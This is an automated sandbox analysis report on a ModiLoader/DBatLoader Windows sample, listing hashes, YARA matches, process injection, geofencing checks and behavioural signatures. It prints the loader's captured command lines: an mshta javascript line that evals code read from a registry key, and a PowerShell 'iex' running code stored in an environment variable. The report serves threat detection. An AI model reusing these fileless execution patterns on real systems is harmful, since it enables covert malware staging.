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Analysis
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max time kernel
141s -
max time network
102s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
21/09/2024, 16:39
Static task
static1
Behavioral task
behavioral1
Sample
f035acc028258683beaf855d15749dd0_JaffaCakes118.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
f035acc028258683beaf855d15749dd0_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
f035acc028258683beaf855d15749dd0_JaffaCakes118.exe
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Size
297KB
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MD5
f035acc028258683beaf855d15749dd0
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SHA1
f3ed6d3276409e64c2c8667a9a7a56b07d1efb48
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SHA256
f8d58e2fa1af08b76b8295f87428fb77126fb504c8b2269fc9cdb9899348aeb5
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SHA512
c0831859b3f363ae3784e10ec8202ae7d94bedfa778dfe8eca900f707149c17ec4c789e1a848b05b3b86acbe174b2bb6af49437e16d148bec70bb35ac909c63a
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SSDEEP
6144:xTx9Z4h3oSNcDW1m7Y3qPr5Qh0auUMnbBD96:TIr+aiVJagBDo
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3576 4020 mshta.exe 84 -
ModiLoader Second Stage 11 IoCs
resource yara_rule behavioral2/memory/3992-1-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/3992-4-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/3992-5-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/3992-6-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/3992-7-0x0000000000B20000-0x0000000000BF6000-memory.dmp modiloader_stage2 behavioral2/memory/3992-8-0x0000000000B20000-0x0000000000BF6000-memory.dmp modiloader_stage2 behavioral2/memory/3992-11-0x0000000000B20000-0x0000000000BF6000-memory.dmp modiloader_stage2 behavioral2/memory/3992-10-0x0000000000B20000-0x0000000000BF6000-memory.dmp modiloader_stage2 behavioral2/memory/3992-9-0x0000000000B20000-0x0000000000BF6000-memory.dmp modiloader_stage2 behavioral2/memory/3992-12-0x0000000000B20000-0x0000000000BF6000-memory.dmp modiloader_stage2 behavioral2/memory/3992-13-0x0000000000B20000-0x0000000000BF6000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation mshta.exe -
pid Process 2312 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language f035acc028258683beaf855d15749dd0_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language f035acc028258683beaf855d15749dd0_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4764 f035acc028258683beaf855d15749dd0_JaffaCakes118.exe 4764 f035acc028258683beaf855d15749dd0_JaffaCakes118.exe 4764 f035acc028258683beaf855d15749dd0_JaffaCakes118.exe 4764 f035acc028258683beaf855d15749dd0_JaffaCakes118.exe 4764 f035acc028258683beaf855d15749dd0_JaffaCakes118.exe 4764 f035acc028258683beaf855d15749dd0_JaffaCakes118.exe 2312 powershell.exe 2312 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4764 f035acc028258683beaf855d15749dd0_JaffaCakes118.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2312 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 4764 wrote to memory of 3992 4764 f035acc028258683beaf855d15749dd0_JaffaCakes118.exe 83 PID 4764 wrote to memory of 3992 4764 f035acc028258683beaf855d15749dd0_JaffaCakes118.exe 83 PID 4764 wrote to memory of 3992 4764 f035acc028258683beaf855d15749dd0_JaffaCakes118.exe 83 PID 4764 wrote to memory of 3992 4764 f035acc028258683beaf855d15749dd0_JaffaCakes118.exe 83 PID 3576 wrote to memory of 2312 3576 mshta.exe 86 PID 3576 wrote to memory of 2312 3576 mshta.exe 86 PID 3576 wrote to memory of 2312 3576 mshta.exe 86
Processes
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C:\Users\Admin\AppData\Local\Temp\f035acc028258683beaf855d15749dd0_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\f035acc028258683beaf855d15749dd0_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Users\Admin\AppData\Local\Temp\f035acc028258683beaf855d15749dd0_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\f035acc028258683beaf855d15749dd0_JaffaCakes118.exe"2⤵
- System Location Discovery: System Language Discovery
PID:3992
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:wv2QK="U";w4q2=new%20ActiveXObject("WScript.Shell");MNA1WLBg="UjTeyHkK";J5kTe=w4q2.RegRead("HKLM\\software\\Wow6432Node\\EXhnzyD6U\\hFJf48q5");jGa1F7="96T";eval(J5kTe);lih5BN="buP0L";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3576 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:vkzsdboy2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2312
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82